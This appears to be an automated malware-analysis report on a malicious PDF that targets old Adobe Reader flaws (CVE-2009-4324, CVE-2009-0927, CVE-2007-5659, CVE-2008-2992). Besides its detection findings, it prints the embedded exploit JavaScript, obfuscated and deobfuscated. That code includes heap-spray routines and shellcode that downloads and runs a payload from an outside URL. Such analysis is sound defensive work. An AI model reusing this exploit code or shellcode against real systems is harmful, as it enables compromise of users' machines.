MALICIOUS
610
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
T1059.007 JavaScript
The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The deobfuscated JavaScript attempts to download a second-stage payload from the URL 'http://news.hermison.com/exe.php?spl=PDF%20(printd'. This indicates a downloader or exploit kit delivery mechanism.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 12
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
-
PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://news.hermison.com/exe.php?spl=PDF%20(printd Referenced by PDF JavaScript
- http://news.hermison.com/exe.php?spl=PDF%20(EmailInfoReferenced by PDF JavaScript
- http://news.hermison.com/exe.php?spl=PDF%20(util_printfReferenced by PDF JavaScript
- http://news.hermison.com/exe.php?spl=PDF%20(GetIconReferenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.jsdd2c377afb7489b09ff76578317b1c84ad50ced5d661d2b21b7ccb28a6f940b8 |
pdf-javascript-stream | PDF /JS object 7 at offset 0xDB | 28010 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function FhnbODwP(UIJcVLxxYq) { return UIJcVLxxYq.split('!#$').join(""); } eval(FhnbODwP('f!#$u!#$n!#$c!#$t!#$i!#$o!#$n!#$ !#$p!#$r!#$i!#$n!#$t!#$d!#$(!#$)!#${!#$\n!#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$v!#$a!#$r!#$ !#$c!#$h!#$u!#$n!#$k!#$_!#$s!#$i!#$z!#$e!#$,!#$ !#$p!#$a!#$y!#$l!#$o!#$a!#$d!#$,!#$ !#$n!#$o!#$p!#$s!#$l!#$e!#$d!#$;!#$\n!#$\n!#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$c!#$h!#$u!#$n!#$k!#$_!#$s!#$i!#$z!#$e!#$ !#$=!#$ !#$0!#$x!#$8!#$0!#$0!#$0!#$;!#$\n!#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$p!#$a!#$y!#$l!#$o!#$a!#$d!#$ !#$=!#$ !#$u!#$n!#$e!#$s!#$c!#$a!#$p!#$e!#$(!#$"!#$%!#$u!#$5!#$4!#$E!#$B!#$%!#$u!#$7!#$5!#$8!#$B!#$%!#$u!#$8!#$B!#$3!#$C!#$%!#$u!#$3!#$5!#$7!#$4!#$%!#$u!#$0!#$3!#$7!#$8!#$%!#$u!#$5!#$6!#$F!#$5!#$%!#$u!#$7!#$6!#$8!#$B!#$%!#$u!#$0!#$3!#$2!#$0!#$%!#$u!#$3!#$3!#$F!#$5!#$%!#$u!#$4!#$9!#$C!#$9!#$%!#$u!#$A!#$D!#$4!#$1!#$%!#$u!#$D!#$B!#$3!#$3!#$%!#$u!#$0!#$F!#$3!#$6!#$%!#$u!#$1!#$4!#$B!#$E!#$%!#$u!#$3!#$8!#$2!#$8!#$%!#$u!#$7!#$4!#$F!#$2!#$%!#$u!#$C!#$1!#$0!#$8!#$%!#$u!#$0!#$D!#$C!#$B!#$%!#$u!#$D!#$A!#$0!#$3!#$%!#$u!#$E!#$B!#$4!#$0!#$%!#$u!#$3!#$B!#$E!#$F!#$%!#$u!#$7!#$5!#$D!#$F!#$%!#$u!#$5!#$E!#$E!#$7!#$%!#$u!#$5!#$E!#$8!#$B!#$%!#$u!#$0!#$3!#$2!#$4!#$%!#$u!#$6!#$6!#$D!#$D!#$%!#$u!#$0!#$C!#$8!#$B!#$%!#$u!#$8!#$B!#$4!#$B!#$%!#$u!#$1!#$C!#$5!#$E!#$%!#$u!#$D!#$D!#$0!#$3!#$%!#$u!#$0!#$4!#$8!#$B!#$%!#$u!#$0!#$3!#$8!#$B!#$%!#$u!#$C!#$3!#$C!#$5!#$%!#$u!#$7!#$2!#$7!#$5!#$%!#$u!#$6!#$D!#$6!#$C!#$%!#$u!#$6!#$E!#$6!#$F!#$%!#$u!#$6!#$4!#$2!#$E!#$%!#$u!#$6!#$C!#$6!#$C!#$%!#$u!#$4!#$3!#$0!#$0!#$%!#$u!#$5!#$C!#$3!#$A!#$%!#$u!#$2!#$E!#$5!#$5!#$%!#$u!#$7!#$8!#$6!#$5!#$%!#$u!#$0!#$0!#$6!#$5!#$%!#$u!#$C!#$0!#$3!#$3!#$%!#$u!#$0!#$3!#$6!#$4!#$%!#$u!#$3!#$0!#$4!#$0!#$%!#$u!#$0!#$C!#$7!#$8!#$%!#$u!#$4!#$0!#$8!#$B!#$%!#$u!#$8!#$B!#$0!#$C!#$%!#$u!#$1!#$C!#$7!#$0!#$%!#$u!#$8!#$B!#$A!#$D!#$%!#$u!#$0!#$8!#$4!#$0!#$%!#$u!#$0!#$9!#$E!#$B!#$%!#$u!#$4!#$0!#$8!#$B!#$%!#$u!#$8!#$D!#$3!#$4!#$%!#$u!#$7!#$C!#$4!#$0!#$%!#$u!#$4!#$0!#$8!#$B!#$%!#$u!#$9!#$5!#$3!#$C!#$%!#$u!#$8!#$E!#$B!#$F!#$%!#$u!#$0!#$E!#$4!#$E!#$%!#$u!#$E!#$8!#$E!#$C!#$%!#$u!#$F!#$F!#$8!#$4!#$%!#$u!#$F!#$F!#$F!#$F!#$%!#$u!#$E!#$C!#$8!#$3!#$%!#$u!#$8!#$3!#$0!#$4!#$%!#$u!#$2!#$4!#$2!#$C!#$%!#$u!#$F!#$F!#$3!#$C!#$%!#$u!#$9!#$5!#$D!#$0!#$%!#$u!#$B!#$F!#$5!#$0!#$%!#$u!#$1!#$A!#$3!#$6!#$%!#$u!#$7!#$0!#$2!#$F!#$%!#$u!#$6!#$F!#$E!#$8!#$%!#$u!#$F!#$F!#$F!#$F!#$%!#$u!#$8!#$B!#$F!#$F!#$%!#$u!#$2!#$4!#$5!#$4!#$%!#$u!#$8!#$D!#$F!#$C!#$%!#$u!#$B!#$A!#$5!#$2!#$%!#$u!#$D!#$B!#$3!#$3!#$%!#$u!#$5!#$3!#$5!#$3!#$%!#$u!#$E!#$B!#$5!#$2!#$%!#$u!#$5!#$3!#$2!#$4!#$%!#$u!#$D!#$0!#$F!#$F!#$%!#$u!#$B!#$F!#$5!#$D!#$%!#$u!#$F!#$E!#$9!#$8!#$%!#$u!#$0!#$E!#$8!#$A!#$%!#$u!#$5!#$3!#$E!#$8!#$%!#$u!#$F!#$F!#$F!#$F!#$%!#$u!#$8!#$3!#$F!#$F!#$%!#$u!#$0!#$4!#$E!#$C!#$%!#$u!#$2!#$C!#$8!#$3!#$%!#$u!#$6!#$2!#$2!#$4!#$%!#$u!#$D!#$0!#$F!#$F!#$%!#$u!#$7!#$E!#$B!#$F!#$%!#$u!#$E!#$2!#$D!#$8!#$%!#$u!#$E!#$8!#$7!#$3!#$%!#$u!#$F!#$F!#$4!#$0!#$%!#$u!#$F!#$F!#$F!#$F!#$%!#$u!#$F!#$F!#$5!#$2!#$%!#$u!#$E!#$8!#$D!#$0!#$%!#$u!#$F!#$F!#$D!#$7!#$%!#$u!#$F!#$F!#$F!#$F!#$%!#$u!#$7!#$4!#$6!#$8!#$%!#$u!#$7!#$0!#$7!#$4!#$%!#$u!#$2!#$F!#$3!#$A!#$%!#$u!#$6!#$E!#$2!#$F!#$%!#$u!#$7!#$7!#$6!#$5!#$%!#$u!#$2!#$E!#$7!#$3!#$%!#$u!#$6!#$5!#$6!#$8!#$%!#$u!#$6!#$D!#$7!#$2!#$%!#$u!#$7!#$3!#$6!#$9!#$%!#$u!#$6!#$E!#$6!#$F!#$%!#$u!#$6!#$3!#$2!#$E!#$%!#$u!#$6!#$D!#$6!#$F!#$%!#$u!#$6!#$5!#$2!#$F!#$%!#$u!#$6!#$5!#$7!#$8!#$%!#$u!#$7!#$0!#$2!#$E!#$%!#$u!#$7!#$0!#$6!#$8!#$%!#$u!#$7!#$3!#$3!#$F!#$%!#$u!#$6!#$C!#$7!#$0!#$%!#$u!#$5!#$0!#$3!#$D!#$%!#$u!#$4!#$6!#$4!#$4!#$%!#$u!#$3!#$2!#$2!#$5!#$%!#$u!#$2!#$8!#$3!#$0!#$%!#$u!#$7!#$2!#$7!#$0!#$%!#$u!#$6!#$E!#$6!#$9!#$%!#$u!#$6!#$4!#$7!#$4!#$%!#$u!#$0!#$0!#$2!#$9!#$"!#$)!#$;!#$\n!#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$n!#$o!#$p!#$s!#$l!#$e!#$d!#$ !#$=!#$ !#$u!#$n!#$e!#$s!#$c!#$a!#$p!#$e!#$(!#$"!#$%!#$u!#$0!#$d!#$0!#$d!#$%!#$u!#$0!#$d!#$0!#$d!#$"!#$)!#$;!#$\n!#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$w!#$h!#$i!#$l!#$e!#$ !#$(!#$n!#$o!#$p!#$s!#$l!#$e!#$d!#$.!#$l!#$e!#$n!#$g!#$t!#$h!#$ !#$<!#$ !#$c!#$h!#$u!#$n!#$k!#$_!#$s!#$i!#$z!#$e!#$)!#$n!#$o!#$p!#$s!#$l!#$e!#$d!#$ !#$+!#$=!#$ !#$n!#$o!#$p!#$s!#$l!#$e!#$d!#$;!#$\n!#$ !#$ !#$ !#$ !#$ !#$ !#$ !#$ !#
... (truncated)
|
|||
legacy_pdfkit_stage_000.js540b0fa3cb579288a05725e4bf54079a05d5fecbcfcdcc972a826af9ce9dc861 |
deobfuscated-js | split-join delimiter stripped JavaScript at offset 0x10C | 7508 bytes |
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
likely
Carved artifact contains 13 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function FhnbODwP(UIJcVLxxYq) { return UIJcVLxxYq.split('').join(""); } eval(FhnbODwP('function printd(){\n var chunk_size, payload, nopsled;\n\n chunk_size = 0x8000;\n payload = unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u6E2F%u7765%u2E73%u6568%u6D72%u7369%u6E6F%u632E%u6D6F%u652F%u6578%u702E%u7068%u733F%u6C70%u503D%u4644%u3225%u2830%u7270%u6E69%u6474%u0029");\n nopsled = unescape("%u0d0d%u0d0d");\n while (nopsled.length < chunk_size)nopsled += nopsled;\n nopsled_len = chunk_size - (payload.length + 20); \n nopsled = nopsled.substring(0, nopsled_len);\n heap_chunks = new Array();\n for (var i = 0 ; i < 1200 ; i++)heap_chunks[i] = nopsled + payload;\n\n util.printd("1.000000000000000000000000 : 0000000", new Date());\n try {\n media.newPlayer(null);\n } catch(e) {}\n util.printd("1.000000000000000000000000 : 0000000", new Date());\n} \n\nfunction emailinfo() {\n function fix_it(yarsp,len) {\n while(yarsp.length*2<len) { yarsp+=yarsp; }\n yarsp=yarsp.substring(0,len/2);\n return yarsp; \n }\n var shellcode=unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u6E2F%u7765%u2E73%u6568%u6D72%u7369%u6E6F%u632E%u6D6F%u652F%u6578%u702E%u7068%u733F%u6C70%u503D%u4644%u3225%u2830%u6D45%u6961%u496C%u666E%u296F%u0000");\n var mem_array=new Array();\n var cc=0x0c0c0c0c;\n var addr=0x400000;\n var sc_len=shellcode.length*2;\n var len=addr-(sc_len+0x38);\n var yarsp=unescape("%u9090%u9090");\n yarsp=fix_it(yarsp,len);\n var count2=(cc-0x400000)/addr;\n for(var count=0;count<count2;count++) {\n mem_array[count]=yarsp+shellcode; \n }\n var overflow=unescape("%u0c0c%u0c0c");\n while(overflow.length<44952) {overflow+=overflow; }\n this.collabStore=Collab.collectEmailInfo( { subj:"",msg:overflow } ); \n}\nfunction util_printf() {\n var payload = unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u6E2F%u7765%u2E73%u6568%u6D72%u7369%u6E6F%u632E%u6D6F%u652F%u6578%u702E%u7068%u733F%u6C70%u503D%u4644%u3225%u2830%u7475%u6C69%u705F%u6972%u746E%u2966%u0000");\n var nop ="";\n for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u90
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.